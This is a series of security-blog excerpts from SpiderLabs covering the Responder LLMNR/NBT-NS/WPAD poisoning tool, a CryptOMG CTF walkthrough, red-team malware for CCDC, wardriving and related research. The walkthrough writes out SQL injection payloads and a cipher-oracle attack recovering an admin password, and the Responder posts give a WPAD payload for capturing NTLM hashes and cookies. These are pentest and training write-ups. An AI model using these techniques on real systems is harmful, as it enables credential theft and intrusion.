SpiderLabs Anterior

Securing Continuous Integration Services

Summary

Over the last couple weeks, I’ve had the distinct privilege to share some of my research surrounding continuous integration security.  The presentation was dubbed “Attacking Cloud Services w/ Source Code” and was presented at both SOURCE Boston 2013 and THOTCON 0x4, where I discussed a bunch of fun things like:

• Why I love Continuous Integration (CI) Services (especially hosted solutions)
• My perspectives as an open-source developer (some happy, some sad)
• What things could be possible if malicious code was fed to CI services
• A project I’m working on, called RottenApple, to help make things better

In this blog post I hope to capture some of the meat of the presentation for those who could not attend and use this opportunity to announce the first public release of RottenApple.

Introducing the Burp Notes Extension

As a Security Analyst I spend a significant amount of time working in tools like Burp Suite. On any given project I need to keep track of a large number of requests, responses, and various scan results. Conveniently, I can store all this in a single state file to keep for future referral. I also use a number of external scripts that have important output, but that ends up in a spread of text files that I have to keep track of. With that in mind, and the revamp of the Burp Extender API, I have decided to create an extension to make organization a bit easier.

The Burp Notes Extension adds a tab to the interface where I can create and manage text documents and spreadsheets.  From the main tab a user can create new documents, load previously saved data, and save any currently open documents. I've also added the ability to import and export documents so that they can be easily reused for each project. One of the apparent limitations of the API is that it does not provide integration with Burp’s state functionality; all documents within the Notes tab are saved and loaded externally to the state file. I have taken care, however, to make sure that users are prompted to save before anything closes to make sure data isn’t lost. State integration is on the top of my list once that functionality becomes available.

Mimicking Attackers: Building Malware for CCDC

This past weekend my fellow coworkers/friends and myself had the opportunity and the privilege to partake in Michigan State’s Collegiate Cyber Defense Competition (CCDC). Specifically, we were asked to act as the ‘Red Team’, which essentially translates into making the student teams’ lives as miserable as possible. 

I have no idea who this guy is, but he's my hero.

For those that have never heard of CCDC, it is a national competition between teams of students in various colleges around the country, where students spend a day or more acting as network and security administrators of a small, fictional company. Student teams are asked to take a previously created network of systems and secure them against the threats of the world (in this case those threats come in the form of the Red Team), all the while being asked to handle the needs of the business and demands from their fictional users.

Ok, so we’re being asked to come in and hack student network essentially. I realized that persistence tends to be half the battle with these competitions. Getting in is easy, but staying on the system while students are actively looking for any hair out of place is not. About two or so weeks before the competition, I resolved to create some custom malware that our team could utilize after compromising a Windows system. This is that story.

Owning Windows Networks With Responder Part 2

One of the great things about working within SpiderLabs is that we prefer to use our own tools whenever possible. The biggest advantage to using your own toolset is lot more control over what's happening during the testing process; helping to avoid any nasty side effects. It also provides a better insight into vulnerabilities and where best they can be used. For these reasons there has been a lot of support from my colleagues on the SpiderLabs network pentest team for Responder.

Another advantage is the ability to greatly shorten the feedback/development loop. New Responder features have been suggested by members of the pentest team and we've been able to test then deploy them into the field that same day.

New Functionalities in Responder: 

• Built-in proxy server, supporting NTLMSSP and Basic authentication scheme.
  This proxy is listening on port TCP 3141 and can be switched to on/off.


• The HTTP server was updated to handle WPAD requests.

• Built-in LDAP rogue server supporting NTLMSSP and Simple Bind (clear text) authentication schemes. This module can be combined with the ICMP-Redirect utility and the DNS server to be reliably effective.

How WPAD works:

WPAD in a corporate Windows environment is used to automatically configure Internet Explorer proxy settings. This functionality is enabled by default on all Windows release since Windows 2000.


WPAD setup can be boiled down like this:

• If no wpad file was specified in a DHCP-INFORM packet (opcode 252), a DNS type A query will be issued for wpad, if DNS fail, then Link-local Multicast Name Resolution (LLMNR) will be used on Windows >= Vista, if it fail again then NetBIOS Name Service (NBT-NS) will be used.


• Once the WPAD server is found, the client will initiate an HTTP GET request and
  retrieve /wpad.dat file which is a javascript like file. This file is meant to contain basic or advanced proxy usage directives.


• Once this file is retrieved, Internet Explorer will use the retrieved settings and
  connect to the proxy server for all HTTP requests.


This website provides a good guide on how to implement your wpad.dat files for your needs.

Abusing the WPAD functionality, the Responder way:

In this release, responder takes care of Web Proxy Autodiscovery Protocol (WPAD) requests. Responder will answer to WPAD LLMNR, NBT-NS queries and provide a wpad.dat file. The javascript payload used is pretty simple:

 function FindProxyForURL(url, host)    {    return 'PROXY wpadwpadwpad:3141; DIRECT';    }


This function contains the following directives:

• Use a proxy server for all connections.

• Responder proxy server is set to wpadwpadwpad:3141

• If this proxy server fails for whatever reason, then access the website directly.

Once Internet Explorer retrieves this file, all connections will be redirected to Responder proxy server. It can be noted that no IP address is specified for this proxy but a local name (wpadwpadwpad) and there's a reason for that:

• We want to have this local name to be queried via LLMNR or NBT-NS, which Responder will resolve.

• Once this Local Intranet Zone (LIZ) name is resolved, Internet Explorer will connect to Responder and send its NTLM hashes transparently with no password prompt.

The second trick is to abruptly reset the HTTP connection upon receiving Internet Explorer’s last NTLM packet exchange (NTLMSSP_AUTH) which contains the NTLM credentials. This allows us to fake a proxy failure so IE will simply connect directly to the website it requested.

The cool catch in this is that for each connection IE will try to reuse the proxy even if it failed before. This means that Responder is able to catch the cookies for each web request transparently.

This screenshot demonstrates what happens when you open Internet Explorer on a Windows Server 2008R2 Domain Controller by default:

Since everything works well, the user continues to browse online : 

As it can be noted, Responder was able to grab the cookies for google.com and msn.ca and the currently logged in user NTLM credentials. 

In this video, you can see Responder 1.9 taking advantage of WPAD:

 

Since a lot of cookies can be gathered while using Responder, they are now stored in a folder named HTTPCookies.

CryptOMG Walkthough - Challenge 2

For those of you that missed it last time, CryptOMG is a configurable CTF-style test bed that highlights flaws in cryptographic implementations. The application and installation instructions can be downloaded for free at the SpiderLabs Github. The challenge 1 walkthrough can be found here.

The goal for the second challenge is to get the admin password. Unlike the first challenge, which told us there was probably a directory traversal flaw, this does not give us a very clear picture of the type of flaw we will be exploiting. After opening the application, we are presented with a login form and instructions telling us that we can login with guest/guest. Taking a closer look at the URL parameters, we have a “ReturnUrl” parameter with 32 hex characters, in this case 82803ac0ee614d894128649a2eb31f03.

This could be a couple different things; it is possible that this is simply just a unique identifier to reference the next page or ciphertext. Changing the values of the input does not give us anything to go off. Unlike the first challenge, there are no verbose error messages or unexpected behavior observed by modifying these values. We can assume, given the parameter name, this parameter contains data that will tell the application to redirect. Let’s try logging in with different values for the “ReturnUrl” parameter and see how the application behaves.

Starting with the initial value:

http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&ReturnUrl=82803ac0ee614d894128649a2eb31f03

After authenticating against the application, the server returns a 302 redirect response to /index.php?page=articles. This is the expected behavior of the application.

HTTP/1.1 302 Found
Date: Fri, 28 Sep 2012 18:52:30 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By:
PHP/5.3.2-1ubuntu4.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store,
no-cache, must-revalidate, post-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=articles
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html

Now let’s try changing the value of “ReturnUrl” to something unexpected and see how the application reacts.

http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&ReturnUrl=82803ac0ee614d894128649a2eb31f02

Interesting; now the page value is garbled. We can guess that the application is not pulling filenames from a database, otherwise it would be something more readable or nothing at all if the value didn’t match a record.  The text is garbled when changing one byte of the text and the length of the text is divisible by eight  this indicates that we may be dealing with ciphertext. We can continue to poke around the application a little bit more and see if we can confirm this.

Once we are authenticated, we are taken to page with a list of articles. Clicking on the links pulls up the corresponding article. Looking at the parameters we can see there is a “page” parameter, that does not seem to do much other specifying what part of the application we are, in this case “Articles”, and an “id” parameter that looks to be hex encoded.

Seeing as how the “id” parameter is the only parameter that varies throughout the different articles (and its conveniently named id) we can assume this the parameter that is used to pull the article data. Modifying the data in this parameter does not seem to do much other than tell us the article does not exist. Adding a quote to the data however, gives an error message confirming that this is indeed a hex encoded string.

Considering the data matching the same characteristics for ciphertext as the original value for the ReturnUrl parameter, it’s worth treating this as cipher text as well. We know that the ReturnUrl parameter contains a value that is used to redirect the user to another page after a successful login. Since this is ciphertext its probably being decrypted and processed on the back end, so what would happen if we took the valid ciphertext and swapped it out with some different ciphertext found elsewhere in the application. Lets logout of the application and take the value from the “id” parameter and put it in the ReturnUrl parameter and see what happens. Our new URL looks like this:

http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&ReturnUrl=d7271a80d95b0103d2afe3fc75e1a8a4

HTTP/1.1 302 Found
Date: Thu , Dec 20 Sep 2012 17:00:30 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.15
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=1
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html

And now we are being redirected and the new value of the page parameter is “1”. This tells us a couple of things. First off, we are definitely dealing with ciphertext since we were able to take an encrypted value from another parameter and put it in the ReturnUrl parameter to provide us with the corresponding plaintext. If the cipher text were invalid, we would have garbled text like we did earlier in the application. Secondly, the application appears to be reusing keys and potentially initialization vectors, depending on the algorithm and mode of operation in use, since two different ciphertext values could be decrypted using the same function on the site. So now we have a decryption oracle and we can see how the text is formatted. But there is not a whole lot we can do at this point since we can’t really modify the data. So lets try to find another way of entry. Is the application handling authentication properly? Maybe we can try to access an authenticated area without having a valid session.

We can try logging out then requesting the articles page.

http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=articles

HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:24:18 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&ReturnUrl=82803ac0ee614d894128649a2eb31f03
Vary: Accept-Encoding
Content-Length: 2419
Content-Type: text/html

Hmm...Looks like its just redirecting us back to the starting location, what happens if we try requesting an article?

http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=articles&id=d7271a80d95b0103d2afe3fc75e1a8a4

Now this is interesting, we are redirected back to the login page but the ReturnUrl parameter is significantly different and much larger.

HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013
19:25:36 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache<
Location: ./index.php?cipher=3&encoding=2&mode=1&ReturnUrl=68d4189daabe2a91c66b2bc0b14f2edbf5bb287e4d87f023eef33c0021ecc8ba0a2263794093a73240f8b421a2ea73fe
Vary: Accept-Encoding
Content-Length: 2483
Content-Type: text/html

Lets login and see where this redirects.

HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:53:54 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=articles&id=d7271a80d95b0103d2afe3fc75e1a8a4
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html

It redirects us back to the article we requested initially. As we found out earlier, it appears the ciphertext starts with the “page” parameter. Next we can make a request with the value of page set to spiderlabs and see if it encrypts it for us.

http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=spiderlabs 

HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:55:07 GMT
Server: Apache/2.2.14 (Ubuntu) 
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&ReturnUrl=7ba05e06faa768cd70d9278feeebc53d
Vary: Accept-Encoding
Content-Length: 2419
Content-Type: text/html

The ciphertext is definitely different, we can go ahead and  login to see if it worked and we get redirected to page=spiderlabs as expected.

HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 19:58:01 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=spiderlabs
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html

And we are redirected which means we now have an encryption oracle in addition to the decryption oracle discovered earlier. We can now encrypt our own messages and since we can swap cipher texts from different parts of the application, now we can try to encrypt something we can use in the articles id parameter. A common mistake I see is that developers assume that since the data is encrypted its perfectly safe from any sort of injection attacks and, as a result, they treat ciphertext as trusted and do not input filtering or validation. Lets see if that holds true here.

Go ahead and request a page with an SQL injection payload in it and see how the application handles it. First we have to encrypt the payload by requesting

http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=1'+or+1='1

We get redirected as expected with the ReturnUrl parameter containing the encrypted version of our attack vector. We can copy the ciphertext from ReturnUrl, in this case e67e5ddf94a0616f81a9b3c1915680fc and then login to the application. Now lets request an article but instead of using the default id value, replace it with our new ciphertext.

http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=articles&id=e67e5ddf94a0616f81a9b3c1915680fc

That gave us every article so now we know that the application is vulnerable to SQL injection but we aren’t done yet. The goal is get the admin password. Try encrypting 0’ union select * from users --

http://bts/cryptomg/ctf/challenge2/index.php?cipher=3&encoding=2&mode=1&page=0'+union+select+*+from+users+--+

This gave us our new cipher text of

9a21805e2556bf0ccebd0631daa379d225f749ab5365bf1efafcb4f4a5df5ec5

We can go ahead and put this into the id parameter for articles.

And bam, now we have the admin password. We still aren’t quite done yet though. We know the password for the guest user is “guest” so it looks like these passwords are encrypted. Since the application reuses its encryption keys throughout the application we can guess they did the same thing here. Before we can try that though, we have to put the passwords in the proper encoding. It looks like this is websafe base64, we need it to be in hex. So we need to turn that underscore into a slash and the period into an equal sign. So our cipher text now looks like this:

/GEOvKa9k9ga3spI0AVQtvYc6tDgcWjoJlT0VKMB8c4=

There are plenty of tools online to help decode this. I used Burp Suite. First we decode the base64 and then encode the output to ASCII hex.

So now our final hex value is fc610ebca6bd93d81adeca48d00550b6f61cead0e07168e82654f454a301f1ce

Let’s go ahead and throw this in the ReturnUrl parameter and login.

HTTP/1.1 302 Found
Date: Wed, 02 Jan 2013 20:00:38 GMT
Server: Apache/2.2.14 (Ubuntu)
X-Powered-By: PHP/5.3.2-1ubuntu4.18
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./index.php?cipher=3&encoding=2&mode=1&page=Cru@UJUbet69YePejEwr
Vary: Accept-Encoding
Content-Length: 3353
Content-Type: text/html

Bam! Now we have our decrypted admin password. Lets login as admin to make sure it worked.

Login successful! <Insert victory dance here>

Owning Windows Networks with Responder 1.7

A lot has been happening with Responder lately!

Everything is still written in pure python for portability’s sake, there's no need to install any third-party libraries.

For starters, Responder is a passive credentials gathering tool.

It listens for specific NBT-NS (NetBIOS Name Service) and LLMNR (Link-local Multicast Name Resolution) queries and poisons the issuer. Responder has several rogue authentication servers listening on several UDP and TCP ports. If you want more information on LLMNR &NBT-NS poisoning, read my previous blog post: http://blog.spiderlabs.com/2012/10/introducing-responder-10.html

New Functionalities in Responder:

- Rogue SMB server now makes use of SMB Extended Security NTLMSSP authentication (NTLMv1/v2) by default, so you won't miss a hash!

- Rogue FTP server clear text credential capture module (enabled by default).

- Small DNS server (enabled by default).

- ICMP Redirects utility for Windows =< 5.2 Domain members.

- Stealth mode Domain Controller finder (enabled by default).

- Host Fingerprint module (need to specify -f On).

- All activity is now logged into a file named Responder-Session.log with date and time for each entry.

- Ability to switch On/Off any rogue server via command line.

- Ability to specify a different challenge for all NTLM rogue servers.

- NT4 specific SMB clear text credentials support.

Wardrive, Raspberry Pi Style!

I purchased a Raspberry Pi a few weeks back. I found that I could power it, a WiFi card and a GPS from my 12000mah Li-Ion battery pack for about 12 hours.  What a great way to explore with out having to have a huge laptop or giant battery in my bag. 

 

From that I did a little bit of driving and biking with this tool kit, passively looking for and logging networks.  I could have easily used my NinjaTel phone (and will attempt this in the future), but I wanted something that I didn't have to mess with to much and would have a long batter life to "power all the things".

From this I found that out of 6,164 APs identified, that only %5 had WEP configured (which is flawed).  That is a total of 327 APs that still had WEP enabled.  Not to bad as a basic health check.  Of course more data would always be better.

 Hardware Used

PCAP Files Are Great Arn't They??

One of the most important skills in anyone's armory responsible for looking after the security of a corporation's networks should be how to analyze network capture files (PCAP files) obtained from sniffers. Putting a sniffer on the network can not only help you investigate network issues, but also give you a great insight into the "unseeable" security vulnerabilities that are occurring on a daily basis.

This is probably one of the cheapest security tools you can use on the network, as it’s free, and can find a multitude of potential issues. This being the case, it is also one of the easiest attack vectors an attacker or disgruntled employee can use on your internal network to extract data, and not get noticed.

Introducing Responder-1.0

Responder is a multi threaded tool that answers to IPv4 LLMNR (Link-local Multicast Name Resolution) and Netbios Name Service (NBT-NS) queries.
This tool includes:
     - LLMNR poisoner.
     - NBT-NS poisoner.
     - Rogue SMB server with a NTLMv1/v2 hash graber.
     - Rogue HTTP server, with basic auth and NTLMv1/v2 hash graber.
     - Rogue SQL Windows auth server with a NTLMv1/v2 hash graber.

What is LLMNR:

LLMNR can be seen as a mix between NBT-NS and DNS. This protocol was introduced in Windows Vista, it is used to resolves single label names.
The main differences are:
     - LLMNR supports IPv6.
     - LLMNR is Multicast.
LLMNR is used when DNS name resolution is unable to identify a host. If LLMNR fail, NBT-NS will be used as last resort if enabled.
 
NetBIOS Name Service poisoner:

Often wrongly refered as NBT-NS "spoofer" an NBT-NS poisoner will respond to broadcast NBT-NS queries.
On Windows version lower than Vista, When DNS resolution fails, NBT-NS will be used as last resort if the requested name is smaller or equal to 15 characters. The 16th character is reserved for the NetBIOS Suffix.
The purpose of this poisoner is to have a customizable NBT-NS answerer which only answer to a certain type of NBT-NS query.
The concept is to use a white list of NBT-NS services (see http://support.microsoft.com/kb/163409), which allows us to target a NBT-NS attack.
By default, we only answer to File Server NetBIOS name suffix. We are then able to limit the poisoning stricly to issued share requests like "\\ShareServer\testing\". This helps us to target an NBT-NS poisoning attack and therefore limit any collateral damage on the subnet.
This tool can also answer to Workstation/Redirectors Service suffix queries if this option is set via command line.
 
Tool functionalities:

Once this tool is launched, it will join the IGMP group and listen on UDP 5355 port multicast.
This tool will also listen on TCP port 139, 445, 1433, 80 and UDP port 137, if you have any service running on these ports, you will need to stop them prior launching this tool.
The tool will write captured hashes to a file in the current folder for each poisoned host with the following syntax: [SMB/HTTP/SQL]-[NTLMv1/v2]-Client-IP.txt in a John Jumbo format.The SMB server supports Windows ranging from NT4 to Windows Server 2012 RC, Samba, Mac OsX Lion.

Usage:

Several options are available, those are :
- d : Target Domain name. This option is optional, by default WORKGROUP will be used.
- i  : Our IP address. This option is mandatory, it is used to poison LLMNR and NBT-NS answers with our ip address.
- r : If set to 1, Responder will answer to NBT-NS Workstation/Redirect queries. By default this option is set to false.
- b : Use HTTP basic authentication, this is used to capture clear text password. By default this option is set to false (NTLM auth)
- s : Turn HTTP server On/Off. By default the HTTP is enabled.

Usage Example:

In this example, the tool answered to a LLMNR query with the HTTP server set in NTLM auth mode (-b 0). The target successfully made a connection to our rogue HTTP server and sent its NTLMv2 credentials.

This screenshot illustrates the responder set to answer to workstation/Redirect NTB-NS queries with the HTTP server set in basic authentication mode. The target successfully made a connection to our rogue HTTP server and sent its clear text credentials.

In this example, the responder poisoned a LLMNR query and captured a SMBv2 authentication hash.

This tool is available for download here: https://github.com/SpiderLabs/Responder

James Bond's Dry Erase Marker: The Hotel PenTest Pen

You may have seen the talk and demonstration by Cody Brocious that allows him to open an Onity hotel room door lock with an Arduino, which is totally James Bond. However, wouldn't it be even better if someone was able to get it down to the size of a marker or pen? Working as a pentester for Trustwave SpiderLabs, I have access to many different pens, I have blue pens, red pens, green pens, and even the normal boring black pens. Most of these write just fine, and I sometimes wonder why I'm getting paid to test them, but I digress. While the initial idea was to get everything working inside a pen, it quickly became apparent that we wouldn't be able to do it right away. So instead we opted to get it inside of a dry erase marker.

I'm not going to get into the technical details of how this hack works, or why it works. Cody does a great job on his own site over at http://demoseen.com/bhpaper.html. So if you have any questions about the hack itself or the details, it is best to ask him, as he is the one who discovered this. I only made the device smaller. :)